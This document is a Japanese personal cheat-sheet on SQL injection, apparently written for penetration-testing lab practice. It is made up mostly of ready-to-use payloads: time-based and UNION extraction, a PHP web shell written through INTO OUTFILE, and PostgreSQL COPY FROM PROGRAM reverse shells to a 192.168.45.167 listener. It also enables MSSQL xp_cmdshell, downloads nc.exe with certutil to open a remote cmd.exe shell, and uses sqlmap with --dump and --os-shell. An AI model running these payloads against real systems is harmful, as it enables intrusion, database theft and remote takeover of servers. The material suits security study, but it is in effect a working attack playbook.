Open1

sqli

memomemo

SQLi

データベースの種類とバージョンの識別方法

https://portswigger.net/web-security/sql-injection/examining-the-database#querying-the-database-type-and-version

プロバイダ固有のクエリを挿入することで、データベースの種類とバージョンの両方を特定できる可能性があります。

以下は、一般的なデータベースの種類について、データベースのバージョンを確認するためのクエリ

Database type Query
Microsoft, MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()

mysqlでないと、selectの際にダブルクォートを使用できないことに注意

詳しくはこちら
https://qiita.com/tttol777/items/b14ab34415a1ebd8a9c5

time based

time basedを使ってもバージョン判定できる。
https://portswigger.net/web-security/sql-injection/cheat-sheet

Time delays

クエリ処理時にデータベースに時間遅延を発生させることができます。以下の例では、無条件に10秒の遅延が発生します。
す。

Database type Query
Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)
Conditional time delays

単一のブール条件をテストし、条件が true の場合に時間遅延をトリガーできます。

Database type Query
Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')

Microsoft SQL Serverの例
以下のコードを使用して条件をテストし、式が真かどうかに応じて遅延を発生させることができます。
最初の入力は条件 1=2 が偽であるため、遅延をトリガーしません。
2 番目の入力は条件 1=1 が真であるため、10 秒の遅延をトリガーします。

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

この手法を使用すると、一度に 1 文字ずつテストしてデータを取得できます。

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

これだと10秒かかるが

TextBox=test';+if(1=1)+waitfor+delay+'0:0:10'--+//

下記だと時間がかからなかった。

TextBox=test';+if(1=2)+waitfor+delay+'0:0:10'--+//

microsoftだということが分かった。

union orderby

orderbyを試してみる。

list=aaaa'+order+by+1--+//

数字が変わる前のものがカラム数

unionを試してみる。

list=aaaa%40aaaa'+union+select+null,null,null,null,null,null--+//

一つだけ、違うlengthになる。

カラム数が分かったら、数字と文字をためして型を理解する。

list=aaaa'+union+select+"aaa","bbb","ccc","ddd","eee","fff"--+//

型が分かったらどこが折り返るか確認する。

折り返る場所でデータを抽出する。

list=aaaa'+union+select+"aaa","bbb","ccc","ddd",@@version,"fff"--+//

web shell(mysql)

sqlを使用して、webshellをアップロードしてみる。

list=aaaa'+union+select+"<?php system($_GET['cmd']);?>",null,null,null,null,null+into+outfile+"/var/www/html/kk.php"--+//

書き込む先の候補

[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)

postgresのRCE

脆弱性ではないと主張しているCVE-2019-9193を使用する。
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/PostgreSQL Injection.md#postgresql-command-execution

+をurlencodeしたら動かないことに注意
&が入っていると、パラメータの区切りとして解釈されることに注意
全部、エンコードしても、一部分だけ+とかでしても動いた。

例1

';DROP TABLE IF EXISTS shell;CREATE TABLE shell(output text);COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.167 4444 >/tmp/f';-- //

%27%3BDROP%20TABLE%20IF%20EXISTS%20shell%3BCREATE%20TABLE%20shell%28output%20text%29%3BCOPY%20shell%20FROM%20PROGRAM%20%27rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%20192%2E168%2E45%2E167%204444%20%3E%2Ftmp%2Ff%27%3B%2D%2D%20%2F%2F

例2

height=';DROP TABLE IF EXISTS commandexec;CREATE TABLE commandexec(data text);COPY commandexec FROM PROGRAM '/usr/bin/nc.traditional -e /bin/sh Kali_IP 443';--&age=24

weight=89&height='%3bDROP+TABLE+IF+EXISTS+commandexec%3bCREATE+TABLE+commandexec(data+text)%3bCOPY+commandexec+FROM+PROGRAM+'/usr/bin/nc.traditional+-e+/bin/sh+Kali_IP+443'%3b--&age=24

nc.traditionalとは
https://www.intellilink.co.jp/column/security/2015/070100.aspx

Microsoft SQL ServerのRCE

xp_cmdshell関数が使用できないか考える。
xp_cmdshell関数を利用できるように、show advanced optionを1にする。

SQL> EXECUTE sp_configure 'show advanced options', 1;

https://techinfoofmicrosofttech.osscons.jp/index.php?SQL Server の基本的な設定

後、xp_cmdshellを1にする。

SQL> EXECUTE sp_configure 'xp_cmdshell', 1;

最後設定を即時変更するために下記を打つ。

SQL> RECONFIGURE;

実際のクエリとして組み立てる

TextBox=test'; EXECUTE sp_configure 'show advanced options', 1;EXECUTE sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXECUTE xp_cmdshell 'certutil -urlcache -f http://192.168.45.167:4444/nc.exe C:\windows\temp\nc.exe';EXECUTE xp_cmdshell 'C:\windows\temp\nc.exe 192.168.45.167 8888 -e cmd.exe';--+//

TextBox=test';EXECUTE+sp_configure+'show+advanced+options',1;EXECUTE+sp_configure+'xp_cmdshell',1;RECONFIGURE;EXECUTE+xp_cmdshell+'certutil+-urlcache+-f+http://192.168.45.167:4444/nc.exe+C:\windows\temp\nc.exe';EXECUTE+xp_cmdshell+'C:\windows\temp\nc.exe+192.168.45.167+8888+-e+cmd.exe';--+//

nc.exeはここにあった。

┌──(kali㉿kali)-[~]
└─$ find / -name "nc.exe" 2>/dev/null
/usr/share/windows-resources/binaries/nc.exe

コメントアウト

You can use comments to truncate a query and remove the portion of the original query that follows your input.

Oracle --comment
Microsoft --comment /*comment*/
PostgreSQL --comment /*comment*/
MySQL #comment -- comment[Note the space after the double dash] /*comment*/

-- // --+// が万能に見える。

sqlmap

-u	攻撃対象のURL
-p	攻撃対象のパラメータ名
--dbms	データベースの種類(指定したDBの攻撃値のみに絞って挿入)
--dump	テーブル情報を取得
--dump-all	全てのテーブル情報を取得
-r <ファイル名>	HTTPリクエストデータを指定して実行する
--os-shell	シェルの取得
--risk	攻撃値の網羅性レベル。1〜3の範囲で指定する。
1:基本的な攻撃値のみ(デフォルトの設定)
2:time-based SQL injectionの攻撃値も試す。
3:OR-based SQL injectionの攻撃値も試す
--level	検査対象となるパラメータの範囲。1〜5の範囲で指定する。
1:基本的なパラメータを検査(デフォルトの設定)
2:Cookieのパラメータも検査対象にする。
3:「User-Agent」ヘッダや「Referer」ヘッダも検査対象にする
--proxy	プロキシの設定
--delay	各リクエスト間で遅延させる時間(秒)

「-p」で攻撃値挿入対象のパラメータを「id」のみに絞る
「--cookie」でCookieを設定
「--dbms」でデータベースの種類が「MySQL」と分かっている時、絞る
「--proxy」でプロキシを設定する。

sqlmap -u "https://localhost/?id=1&opt=test" -p "id" --cookie="PHPSESSID=xxxxx" --dbms=mysql --proxy=http://127.0.0.1:8080

「--os-shell」でSQLインジェクションを応用し、Shellまで取得する。

sqlmap -u "https://localhost/debug.php?id=1" --os-shell

検査対象がPOSTメソッドの場合、「--data」でリクエストのボディの値を指定する。

sqlmap -u "https://localhost/login" --data "id=admin&password=pass123"

「-r」でHTTPリクエストデータを指定して実行する。
BurpSuiteにて対象の通信で「Save item」を選択し、ファイル名「reqest.txt」でローカルへ保存後に以下のコマンドで指定する。

sqlmap -r request.txt

値の中に「」を挿入し、「」の部分に検査値を挿入する

sqlmap -u 'https://localhost' --sql-query="select user_login,user_pass from users" --cookie="test=[\"123')) OR 1=2 *#\"];"
kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user

ユーザー認証情報を含むデータベース全体をダンプするには、-dumpパラメーター付ける

sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump

URLは、""でくくったほうがいいかも